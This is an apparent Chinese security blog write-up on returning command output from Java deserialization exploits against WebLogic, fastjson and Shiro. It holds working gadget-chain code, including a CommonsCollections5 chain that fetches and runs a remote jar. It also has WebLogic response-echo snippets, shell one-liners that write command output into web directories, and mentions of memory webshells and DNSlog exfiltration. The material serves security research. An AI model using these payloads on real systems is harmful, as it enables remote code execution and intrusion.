聊一聊反序列化回显的问题
在研究weblogic、fastjson、shiro反序列化漏洞时,多次遇到了回显问题,本文将从以下几种角度出发来分别探讨反序列化回显的问题,也感谢各位师傅们的反序列化回显研究。
先说defineClass这个东西是因为下面的几种方式都是在其基础上进行改进。defineClass归属于ClassLoader类,其主要作用就是使用编译好的字节码就可以定义一个类。
形如
package com.test.ClassLoader; import java.lang.reflect.Method; public class MyClassLoader extends ClassLoader { private static String myClassName = "com.test.ClassLoader.HelloWorld"; private static byte[] bs = new byte[]{ -54, -2, -70, -66, 0, 0, 0, 52, 0, 36, 10, 0, 7, 0, 22, 9, 0, 23, 0, 24, 8, 0, 25, 10, 0, 26, 0, 27, 8, 0, 19, 7, 0, 28, 7, 0, 29, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 33, 76, 99, 111, 109, 47, 116, 101, 115, 116, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 59, 1, 0, 4, 109, 97, 105, 110, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 4, 97, 114, 103, 115, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 116, 101, 115, 116, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 15, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 8, 0, 9, 7, 0, 30, 12, 0, 31, 0, 32, 1, 0, 5, 72, 101, 108, 108, 111, 7, 0, 33, 12, 0, 34, 0, 35, 1, 0, 31, 99, 111, 109, 47, 116, 101, 115, 116, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 3, 111, 117, 116, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 1, 0, 7, 112, 114, 105, 110, 116, 108, 110, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 0, 33, 0, 6, 0, 7, 0, 0, 0, 0, 0, 3, 0, 1, 0, 8, 0, 9, 0, 1, 0, 10, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 13, 0, 14, 0, 0, 0, 9, 0, 15, 0, 16, 0, 1, 0, 10, 0, 0, 0, 55, 0, 2, 0, 1, 0, 0, 0, 9, -78, 0, 2, 18, 3, -74, 0, 4, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 10, 0, 2, 0, 0, 0, 5, 0, 8, 0, 6, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 9, 0, 17, 0, 18, 0, 0, 0, 9, 0, 19, 0, 9, 0, 1, 0, 10, 0, 0, 0, 37, 0, 2, 0, 0, 0, 0, 0, 9, -78, 0, 2, 18, 5, -74, 0, 4, -79, 0, 0, 0, 1, 0, 11, 0, 0, 0, 10, 0, 2, 0, 0, 0, 8, 0, 8, 0, 9, 0, 1, 0, 20, 0, 0, 0, 2, 0, 21, }; public static void main(String[] args) { try { MyClassLoader loader = new MyClassLoader(); Class helloClass = loader.loadClass(myClassName); Object obj = helloClass.newInstance(); Method method = obj.getClass().getMethod("test"); method.invoke(null); } catch (Exception e) { e.printStackTrace(); } } @Override protected Class<?> findClass(String name) throws ClassNotFoundException { if (name == myClassName) { System.out.println("加载" + name + "类"); return defineClass(myClassName, bs, 0, bs.length); } return super.findClass(name); } }
之前写过一篇 《Weblogic使用ClassLoader和RMI来回显命令执行结果》 ,其中提到了使用commons-collection反射调用defineClass,通过defineClass定义的恶意命令执行字节码来绑定RMI实例,接着通过RMI调用绑定的实例拿到回显结果。其中最关键的代码就下面几行
// common-collection1 构造transformers 定义自己的RMI接口 Transformer[] transformers = new Transformer[] { new ConstantTransformer(DefiningClassLoader.class), new InvokerTransformer("getDeclaredConstructor", new Class[] { Class[].class }, new Object[] { new Class[0] }), new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new Object[0] }), new InvokerTransformer("defineClass", new Class[] { String.class, byte[].class }, new Object[] { className, classBytes }), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "main", new Class[] { String[].class } }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[] { null } }), new ConstantTransformer(new HashSet()) };
使用cc链进行反射调用,其中className为恶意命令执行类,形如 com.test.payload.RemoteImpl
,继承自Remote接口的实现,classBytes为该类字节码数组,将该类对象绑定在 rmi://127.0.0.1:1099/Hello
实例上,进而通过JNDI调用Hello即可。
通过将回显结果封装到异常信息抛出拿到回显。
首先写一下执行命令的类
import java.io.*; import java.nio.charset.Charset; public class ProcessExec { public ProcessExec(String cmd) throws Exception { InputStream stream = (new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd})).start().getInputStream(); InputStreamReader streamReader = new InputStreamReader(stream, Charset.forName("gbk")); BufferedReader bufferedReader = new BufferedReader(streamReader); StringBuffer buffer = new StringBuffer(); String line = null; while((line = bufferedReader.readLine()) != null) { buffer.append(line).append("/n"); } throw new Exception(buffer.toString()); } }
打jar包
javac ProcessExec.java jar -cvf p.jar ProcessExec.class
使用URLClassLoader加载jar获得回显
package payload; import java.lang.reflect.Constructor; import java.net.URL; import java.net.URLClassLoader; public class URLClassloader { public static void main(String[] args) throws Exception { URL url = new URL("http://127.0.0.1/p.jar"); URL[] urls = {url}; URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls); Constructor<?> processExec = urlClassLoader.loadClass("ProcessExec").getConstructor(String.class); processExec.newInstance("ipconfig"); } }
使用URLClassLoader的部份可以通过cc链反射去做
package payload; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.net.URLClassLoader; import java.util.HashMap; import java.util.Map; class CommonsCollections5URLClassLoader { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(URLClassLoader.class), // 获取构造方法 new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{java.net.URL[].class}}), // new实例并赋值url new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1/p.jar")}}}), // loadClass加载ProcessExec new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"ProcessExec"}), // 获取ProcessExec的构造方法 new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), // 实例化ProcessExec new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{"ipconfig"}}) }; Transformer chain = new ChainedTransformer(transformers); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chain); TiedMapEntry entry = new TiedMapEntry(lazyMap, ""); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(entry); Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, entry); serialize(badAttributeValueExpException); deserialize(); } public static void serialize(Object obj) { try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser")); os.writeObject(obj); os.close(); } catch (Exception e) { e.printStackTrace(); } } public static void deserialize() { try { ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser")); is.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
这个例子大多出现在jboss和fastjson中,灵活使用。
中间件而言多数重写了thread类,在thread中保存了req和resp,可以通过获取当前线程,在resp中写入回显结果
这种方法前几天在先知上有很多针对tomcat无回显的文章,为各位师傅的文章画一下时间线:
不再赘述了,具体实现文章都有了。值得一提的思路可能就是反序列化不仅仅可以回显,也可以配合反射和字节码动态注册servlet实现无内存webshell。
在weblogic中也有resp回显,具体代码在 《weblogic_2019_2725poc与回显构造》 lufei师傅已经给出来了
weblogic10.3.6
String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd"); weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse(); weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream(); outputStream.writeStream(new weblogic.xml.util.StringInputStream(lfcmd)); outputStream.flush(); response.getWriter().write("");
weblogic12.1.3
java.lang.reflect.Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler"); field.setAccessible(true); HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork()); httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream("xxxxxx"));
通过搜索特殊文件路径直接写入web可访问的目录,要熟悉常用中间件容器的目录结构,比如在我web目录有一个特殊的test.html
linux用bash
// 进入test.html的根目录并执行id命令写入1.txt cd $(find -name "test.html" -type f -exec dirname {} /; | sed 1q) && echo `id` > 1.txt
windows的powershell
$file = Get-ChildItem -Path . -Filter test.html -recurse -ErrorAction SilentlyContinue;$f = -Join($file.DirectoryName,"/a.txt");echo 222 |Out-File $f
这个就不提了,技巧的话就是用powershell或者base64命令编码一下,避免特殊字符,还有就是挑小众的dnslog平台。